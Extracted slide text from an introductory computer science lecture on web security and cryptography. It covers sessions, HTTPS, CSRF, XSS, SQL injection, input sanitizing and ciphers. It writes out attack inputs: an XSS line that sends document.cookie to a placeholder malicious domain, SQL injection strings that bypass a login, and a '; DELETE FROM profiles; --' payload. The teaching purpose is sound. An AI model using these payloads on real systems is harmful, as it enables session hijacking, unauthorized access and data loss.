Computer Science E-1

Lecture 6: Security
http://youtu.be/H542nLTTbu0
http://vimeo.com/blog/post:564
Security
Authentication
Cookies
Sessions
GET /home.php HTTP/1.1
Host: www.facebook.com
Cookie: PHPSESSID=5153d29ed84c4
GET /home.php HTTP/1.1
Host: www.facebook.com
Cookie: PHPSESSID=5153d29ed84c4
Session Hijacking
HTTPS
GET /home.php HTTP/1.1
Host: www.facebook.com

Encrypt
ehosn9745t987gnlkjab
7@5uejfnjasdbfxb98@#
GET /home.php HTTP/1.1
Host: www.facebook.com

Encrypt

ehosn9745t987gnlkjab
7@5uejfnjasdbfxb98@#

Decrypt

GET /home.php HTTP/1.1
Host: www.facebook.com
Wi-Fi Security
WEP, WPA, WPA2
https://bank.com/money/transfer?to=67890&amount=100
Ka-Boom.
https://bank.com/money/transfer?to=67890&amount=100&token=8549ba93417cdef85
<input type="hidden" name="csrfTokenHidden" value="12345" id="csrfTokenHidden">
http://cse1.net/lecture6
XSS
<h1>Tommy</h1>
http://www.bigsafebank.com/search.asp?q=script
x=new Image;x.src = "http://maliciousdomain~~~/hijackedsession.php?sessioncookie=\document.cookie;\script"
Ka-Boom.
Databases
<table>
<thead>
<tr>
<th>Name</th>
<th>DOB</th>
<th>Color</th>
<th>Preference</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shocked Cat</td>
<td>3/17/2010</td>
<td>white</td>
<td>indoor</td>
</tr>
<tr>
<td>Grumpy Cat</td>
<td>4/4/2012</td>
<td>white</td>
<td>indoor</td>
</tr>
<tr>
<td>Keyboard Cat</td>
<td>1/1/1984</td>
<td>orange</td>
<td>outdoor</td>
</tr>
</tbody>
</table>
SELECT name FROM cats
SELECT * from cats WHERE preference = 'indoor'
INSERT INTO cats
(name, dob, color, preference)
VALUES ('Maru', '2008-06-01', 'gray', 'indoor')
UPDATE cats SET name = 'shocked' WHERE name = 'Maru'
DELETE FROM cats
WHERE name = ‘Maru’
CRUD
INSERT
SELECT
UPDATE
DELETE
SELECT * FROM profiles WHERE username = ‘zuck’
I would like ___ cheeseburgers cooked _____ and topped with __________.
I would like 2 cheeseburgers cooked medium-well and topped with lettuce.
I would like 2 cheeseburgers cooked and then thrown at the nearest customer’s head and topped with lettuce.
Injection
SELECT * FROM profiles
WHERE username = '________'
' OR '1' = '1
SELECT * FROM profiles
WHERE username = '' OR '1' = '1'
Ka-Boom.
Authentication
SELECT * FROM users
WHERE username = '______'
AND password = '______'
SELECT * FROM users
WHERE username = 'rj'
AND password = " OR '1' = '1'
Ka-Boom.
'; DELETE FROM profiles; --
SELECT * FROM profiles
WHERE username = '"
;
DELETE FROM profiles; --'
Sanitizing Input
SELECT * FROM profiles WHERE username = '\' OR '1' = '1'
Permissions
http://cse1.net/lecture6
Encrypting Text
Caesar Cipher
ROT13
banana
Brute-Force Attack
Vigenère Cipher
banana
+
246246
banana
+ 246246
detcrg
banana
+
cegceg
detcrg
Plaintext: computer
Key: benrj
computer
+
benrjben
Symmetric-Key Cryptography
"The quick brown fox jumps over the lazy dog"

"AxGv;5bmEseTfd3) fGsmWe#4^,sdgfMwir3:dkJeTsY8RIs@!q3%"

"The quick brown fox jumps over the lazy dog"

Encryption

Decryption

Same key (shared secret)
Asymmetric-Key Cryptography
Public/Private Keys
Trapdoor One-Way Function
2459 \times 8863 = 21794117
Factor 21794117
Diffie-Hellman